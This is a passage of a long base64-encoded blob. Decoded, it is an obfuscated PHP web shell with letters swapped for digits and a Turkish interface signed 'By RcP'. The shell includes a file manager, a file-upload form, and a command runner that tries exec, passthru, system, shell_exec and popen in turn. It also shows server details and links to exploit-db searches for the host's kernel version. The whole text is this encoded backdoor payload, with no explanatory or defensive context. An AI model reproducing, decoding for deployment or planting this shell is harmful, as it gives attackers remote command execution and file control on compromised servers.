ycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2FhYTsgfQ0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0NCnNwMW57IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCmg2eyBiMnJkNXItbDVmdDppcHggczJsNGQgJGMybDJyO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6I2FhYTttMXJnNG46MHB4OyB9DQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDtiMWNrZ3IyM25kLWMybDJyOiNvb287IH0NCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9DQoxOmgydjVyeyB0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41OyB9DQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCi5iNGcxcjUxeyB3NGR0aDo2MDAlO2g1NGdodDphaTBweDsgfQ0KNG5wM3QsdDV4dDFyNTEsczVsNWN0eyBtMXJnNG46MDtjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9DQpmMnJteyBtMXJnNG46MHB4OyB9DQojdDIybHNUYmx7IHQ1eHQtMWw0Z246YzVudDVyOyB9DQoudDIybHNJbnB7IHc0ZHRoOiBvMDBweCB9DQoubTE0biB0aHt0NXh0LTFsNGduOmw1ZnQ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30NCi5tMTRuIHRyOmgydjVye2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNX0NCi5sNntiMWNrZ3IyM25kLWMybDJyOiN1dXV9DQoubGF7YjFja2dyMjNuZC1jMmwycjojb29vfQ0KcHI1e2YybnQtZjFtNGx5OkMyM3I0NXIsTTJuMnNwMWM1O30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdjFyIDFfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJzEnXSkgLiInDQogICAgdjFyIGNoMXJzNXRfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ2NoMXJzNXQnXSkgLiInOw0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcGFfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwYSddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBvXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncG8nXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBkID0gZDJjM201bnQ7DQogICAgZjNuY3Q0Mm4gczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQogICAgICAgIDRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQogICAgICAgIDRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187DQogICAgICAgIDRmKHA2IT1uM2xsKWQubWYucDYudjFsMzU9cDY7NWxzNSBkLm1mLnA2LnYxbDM1PXA2XzsNCiAgICAgICAgNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KICAgICAgICA0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187DQogICAgICAgIDRmKGNoMXJzNXQhPW4zbGwpZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXQ7NWxzNSBkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dF87DQogICAgfQ0KICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCiAgICAgICAgczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCiAgICAgICAgZC5tZi5zM2JtNHQoKTsNCiAgICB9DQogICAgZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KICAgICAgICB2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7DQogICAgICAgIGYycig0PTA7NDxkLm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICBwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KICAgICAgICBzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsNCiAgICB9DQogICAgZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsgICAgDQogICAgICAgIDRmICh3NG5kMncuWE1MSHR0cFI1cTM1c3QpDQogICAgICAgICAgICByNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsNCiAgICAgICAgNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpDQogICAgICAgICAgICByNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgnTTRjcjJzMmZ0LlhNTEhUVFAnKTsNCiAgICAgICAgNGYgKHI1cSkgew0KICAgICAgICAgICAgcjVxLjJucjUxZHlzdDF0NWNoMW5nNSA9IHByMmM1c3NSNXFDaDFuZzU7DQogICAgICAgICAgICByNXEuMnA1bignUE9TVCcsIDNybCwgdHIzNSk7DQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsNCiAgICAgICAgICAgIHI1cS5zNW5kKHAxcjFtcyk7DQogICAgICAgIH0NCiAgICB9DQogICAgZjNuY3Q0Mm4gcHIyYzVzc1I1cUNoMW5nNSgpIHsNCiAgICAgICAgNGYoIChyNXEucjUxZHlTdDF0NSA9PSB1KSApDQogICAgICAgICAgICA0ZihyNXEuc3QxdDNzID09IGEwMCkgew0KICAgICAgICAgICAgICAgIHYxciByNWcgPSBuNXcgUjVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCiAgICAgICAgICAgICAgICB2MXIgMXJyPXI1Zy41eDVjKHI1cS5yNXNwMm5zNVQ1eHQpOw0KICAgICAgICAgICAgICAgIDV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsNCiAgICAgICAgICAgIH0gNWxzNSAxbDVydCgnUjVxMzVzdCA1cnIyciEnKTsNCiAgICB9DQo8L3NjcjRwdD4NCjxoNTFkPjxiMmR5PjxkNHYgc3R5bDU9J3AyczR0NDJuOjFiczJsM3Q1O3c0ZHRoOjYwMCU7YjFja2dyMjNuZC1jMmwycjojdXV1O3QycDowO2w1ZnQ6MDsnPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0nZDRzcGwxeTpuMm41Oyc+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+IjsNCiAgICAkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQogICAgJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KICAgICRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KICAgICRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQogICAgJDV4cGw0bmsgPSAnaHR0cDovL3d3dy41eHBsMjR0LWRiLmMybS9zNTFyY2gvPzFjdDQybj1zNTFyY2gmZjRsdDVyX3AxZzU9NiZmNGx0NXJfZDVzY3I0cHQ0Mm49JzsNCiAgICA0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KICAgICAgICAkNXhwbDRuayAuPSAzcmw1bmMyZDUoJ0w0bjN4IEs1cm41bCAnIC4gczNic3RyKCRyNWw1MXM1LDAsZSkpOw0KICAgIDVsczUNCiAgICAgICAgJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCRrNXJuNWwgLiAnICcgLiBzM2JzdHIoJHI1bDUxczUsMCxvKSk7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQogICAgICAgICQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCiAgICAgICAgJDM0ZCA9IEBnNXRteTM0ZCgpOw0KICAgICAgICAkZzRkID0gQGc1dG15ZzRkKCk7DQogICAgICAgICRncjIzcCA9ICI/IjsNCiAgICB9IDVsczUgew0KICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKHAyczR4X2c1dDUzNGQoKSk7DQogICAgICAgICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQocDJzNHhfZzV0NWc0ZCgpKTsNCiAgICAgICAgJDNzNXIgPSAkMzRkWyduMW01J107DQogICAgICAgICQzNGQgPSAkMzRkWyczNGQnXTsNCiAgICAgICAgJGdyMjNwID0gJGc0ZFsnbjFtNSddOw0KICAgICAgICAkZzRkID0gJGc0ZFsnZzRkJ107DQogICAgfQ0KDQogICAgJGN3ZF9sNG5rcyA9ICcnOw0KICAgICRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQogICAgJG49YzIzbnQoJHAxdGgpOw0KICAgIGYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQogICAgICAgICRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCiAgICAgICAgZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCiAgICAgICAgICAgICRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCiAgICAgICAgJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KICAgIH0NCg0KICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KICAgICQycHRfY2gxcnM1dHMgPSAnJzsNCiAgICBmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCiAgICAgICAgJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KDQogICAgJG0gPSAxcnIxeSgnRzN2NW5sNGsgQjRsZzRzNCc9PidTNWNJbmYyJywnRDJzeTFsMXInPT4nRjRsNXNNMW4nLCdLMm5zMmwnPT4nQzJuczJsNScsJ1NRTCc9PidTcWwnLCdQSFAnPT4nUGhwJywnUzFmNSBtMmQ1Jz0+J1MxZjVNMmQ1JywnRDJuM3N0M3InPT4nU3RyNG5nVDIybHMnLCdCUlVURUZPUkNFJz0+J0JyM3Q1ZjJyYzUnLCdCMWNrQzJubjVjdCc9PidONXR3MnJrJyk7DQogICAgNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQogICAgICAgICRtWydMMmcyM3QnXSA9ICcmIzYwdW87PzRrJzsNCiAgICAkbVsnUzRsJ10gPSAnUzVsZlI1bTJ2NSc7DQogICAgJG01bjMgPSAnJzsNCiAgICBmMnI1MWNoKCRtIDFzICRrID0+ICR2KQ0KICAgICAgICAkbTVuMyAuPSAnPHRoIHc0ZHRoPSInLig0bnQpKDYwMC9jMjNudCgkbSkpLiclIj5bIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCcnLiR2LidcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC8xPiBdPC90aD4nOw0KDQogICAgJGRyNHY1cyA9ICIiOw0KICAgIDRmKCRHTE9CQUxTWycycyddID09ICd3NG4nKSB7DQogICAgICAgIGYycjUxY2gocjFuZzUoJ2MnLCd6JykgMXMgJGRyNHY1KQ0KICAgICAgICA0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCiAgICAgICAgICAgICRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCiAgICB9DQogICAgNWNoMicgPGg2PjxjNW50NXI+PGYybnQgYzJsMnI9cjVkPjxzdHIybmc+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvZjJudD48L3N0cjJuZz48L2M1bnQ1cj48L2g2Pic7DQogICAgNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPlVuMW01Ojxicj5LM2xsMW40YzQ6PGJyPlBocDo8YnI+SDFyZDRzazo8YnI+QjNsM25nM20zeiBZNXI6JyAuICgkR0xPQkFMU1snMnMnXSA9PSAndzRuJz8nPGJyPkRyNHY1czonOicnKSAuICc8L3NwMW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxuMmJyPicgLiBzM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApIC4gJyA8MSBocjVmPSInIC4gJDV4cGw0bmsgLiAnIiB0MXJnNXQ9X2JsMW5rPls1eHBsMjR0LWRiLmMybV08LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IzYjM6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPkFDSUs8L2YybnQ+JzonPGYybnQgYzJsMnI9d2g0dDU+PGI+S0FQQUxJPC9iPjwvZjJudD4nKQ0KICAgICAgIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ1BocFwnLG4zbGwsXCdcJyxcJzRuZjJcJykiPlsgcGhwNG5mMiBdPC8xPiA8c3Axbj5UMXI0aDo8L3NwMW4+ICcgLiBkMXQ1KCdZLW0tZCBIOjQ6cycpIC4gJzxicj4nIC4gd3MyVjQ1d1M0ejUoJHQydDFsU3AxYzUpIC4gJyA8c3Axbj5CMnMgMWwxbjo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBHNHI0cyBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicgLiAkMnB0X2NoMXJzNXRzIC4gJzwvMnB0Z3IyM3A+PC9zNWw1Y3Q+PGJyPjxzcDFuPlM1cnY1ciBJUDo8L3NwMW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcDFuPlNFTklOIElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7DQp9DQoNCmYzbmN0NDJuIHdzMkYyMnQ1cigpIHsNCiAgICAkNHNfd3I0dDFibDUgPSA0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pPyIgPGYybnQgYzJsMnI9JyNhaWZmMDAnPihZMXo0bDFiNGw0cik8L2YybnQ+IjoiIDxmMm50IGMybDJyPXI1ZD4oWTF6NGwxYjRsNHIgZDUmIzYwdXU7JiM2NjY5OzRsKTwvZjJudD4iOw0KICAgIDVjaDIgIg0KPC9kNHY+DQo8dDFibDUgY2wxc3M9NG5mMiA0ZD10MjJsc1RibCBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJSAgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNvb287YjJyZDVyLWIydHQybTphcHggczJsNGQgI29vbzsnPg0KICAgIDx0cj4NCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkQ0ejRuIGQ1ZzRzdDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+RDJzeTEgMmszPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgIDwvdHI+PHRyPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkQ0ejRuIDJsM3N0M3I6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1kPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkQyc3kxIDJsM3N0M3I6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgIDwvdHI+PHRyPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdDMm5zMmw1JyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPksybTN0IEMxbDRzdDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTUFuJz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIiAuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4gIic+DQogICAgICAgIDxzcDFuPkRPU1lBIFVQTE9BRCBFVDwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4NCiAgICA8L3RyPjwvdDFibDU+PC9kNHY+PC9iMmR5PjwvaHRtbD4iOw0KfQ0KDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCg0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7DQogICAgJDIzdCA9ICcnOw0KICAgIDRmIChmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KICAgICAgICBANXg1YygkNG4sJDIzdCk7DQogICAgICAgICQyM3QgPSBAajI0bigiXG4iLCQyM3QpOw0KICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgQHAxc3N0aHIzKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAc3lzdDVtKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzaDVsbF81eDVjJykpIHsNCiAgICAgICAgJDIzdCA9IHNoNWxsXzV4NWMoJDRuKTsNCiAgICB9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7DQogICAgICAgICQyM3QgPSAiIjsNCiAgICAgICAgd2g0bDUoIUBmNTJmKCRmKSkNCiAgICAgICAgICAgICQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQogICAgICAgIHBjbDJzNSgkZik7DQogICAgfQ0KICAgIHI1dDNybiAkMjN0Ow0KfQ0KZjNuY3Q0Mm4gd3MyVjQ1d1M0ejUoJHMpIHsNCiAgICA0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KICAgICAgICByNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwN283dTY4YXUgKS4gJyBHQic7DQogICAgNWxzNTRmKCRzID49IDYwdThpN2UpDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7DQogICAgNWxzNTRmKCRzID49IDYwYXUpDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjBhdSApIC4gJyBLQic7DQogICAgNWxzNQ0KICAgICAgICByNXQzcm4gJHMgLiAnIEInOw0KfQ0KDQpmM25jdDQybiB3czJQNXJtcygkcCkgew0KICAgIDRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KICAgIDVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQogICAgNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KICAgIDVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQogICAgNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCiAgICA1bHM1ICQ0ID0gJzMnOw0KICAgICQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KICAgIHI1dDNybiAkNDsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXNDMmwycigkZikgew0KICAgIDRmICghQDRzX3I1MWQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQogICAgNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KICAgIDVsczUNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jYWlmZjAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KICAgIGYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KICAgICAgICAkZGggID0gMnA1bmQ0cigkZDRyKTsNCiAgICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAgICAgICAgICRmNGw1c1tdID0gJGY0bDVuMW01Ow0KICAgICAgICByNXQzcm4